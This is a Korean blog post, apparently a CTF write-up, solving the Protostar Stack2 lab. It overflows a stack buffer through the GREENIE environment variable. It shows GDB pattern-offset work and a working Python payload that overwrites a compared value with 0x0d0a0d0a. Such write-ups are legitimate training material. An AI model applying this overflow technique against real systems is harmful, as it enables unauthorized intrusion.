리버싱CTF/Protostar

Stack2

우와해커 2020. 1. 1. 09:30

About

Stack2 looks at environment variables, and how they can be set.


This level is at /opt/protostar/bin/stack2



Key Point

- 소스코드를 참고하자.

- GREENIE 환경변수에 입력된 값을 이용해서 풀어야한다.




1.패턴생성

pattern create


환경변수에 패턴입력

export GREEIE=패턴 입력


2.확인

echo $GREENIE


3.GDB 실행 후 코드 확인

0x1053c <main+88>        cmp    r3,  r2

bne    0x10550 <main+108>


4.레지스터 상태 확인

r2= 0x0d0a0d0a

r3=qaaa(나의 패턴 값)



5.qaaa 패턴 위치 확인

gef> pattern search qaaa

[+] Searching 'qaaa'

[+] Found at offset 61 (little-endian search) likely

[+] Found at offset 64 (big-endian search) 


offset 61에 더미 값 qaaa가 위치하므로 61번까지 더미 값을붙이고 그 뒤에 원하는 값으로 바꾸면된다.

3번 어셈블리코드를 보면 r2와 r3의 값이 동일해야 0x10550으로 점프하지 않으므로 

내가 입력한 값인 r3의 값을 r2의 값으로 바꿔야한다.


Architecture가 리틀엔디언으로 r2의 값을 메모리에 저장되는 값과 반대로 입력해야된다. 

그러면 \x0a\x0d\x0a\x0d이다.


파이썬을 통해 해당 값의 아스키코드를 확인해보면 시퀀스 문자가 포함된 특수문자가 출력된다.

>>chr(0x0a)

'\n'

>>chr(0x0d)

'\r'


따라서, hex값을 문자로 바꿔서 입력하기 어려우므로 파이썬을 활용해 뒤에 hex값 형태로 입력되도록 만들어야한다.

파이썬 명령이 먼저 실행되고 출력 값이 변수에 입력되기 위해서는 백트릭을 사용하면 된다.


export GREENIE=`python -c 'print "A"*61+"\x0a\x0d\x0a\x0d"'`


이렇게 입력하고 실행해보면 어찌된 일인지 문제가 안풀렸다. 디비거로 확인해보니 r2에는 0x0000000d 밖에 안보였다..?


그래서 3바이트의 더미 값을 더붙인 빅엔디안 서치 방식대로 바꿔서 테스트하였다.


export GREENIE=`python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"'`


빅엔디안 서치의 값으로 적용하니 문제가 풀렸다. 


내가 잘못알고있는건가 아니면 peda 버그인가~?

(2020.01.04 수정: 원인은 내가 빅엔디안 방식으로 입력하여 검색하였기 때문이다. 위 개념에 대해 Peda생성과 활용으로 포스팅함)




'리버싱CTF > Protostar' 카테고리의 다른 글

Stack5 (Success)  (0) 2020.01.01
Stack5(Fail)  (0) 2020.01.01
Stack4  (0) 2020.01.01
Stack3  (0) 2020.01.01
Stack1  (0) 2019.12.29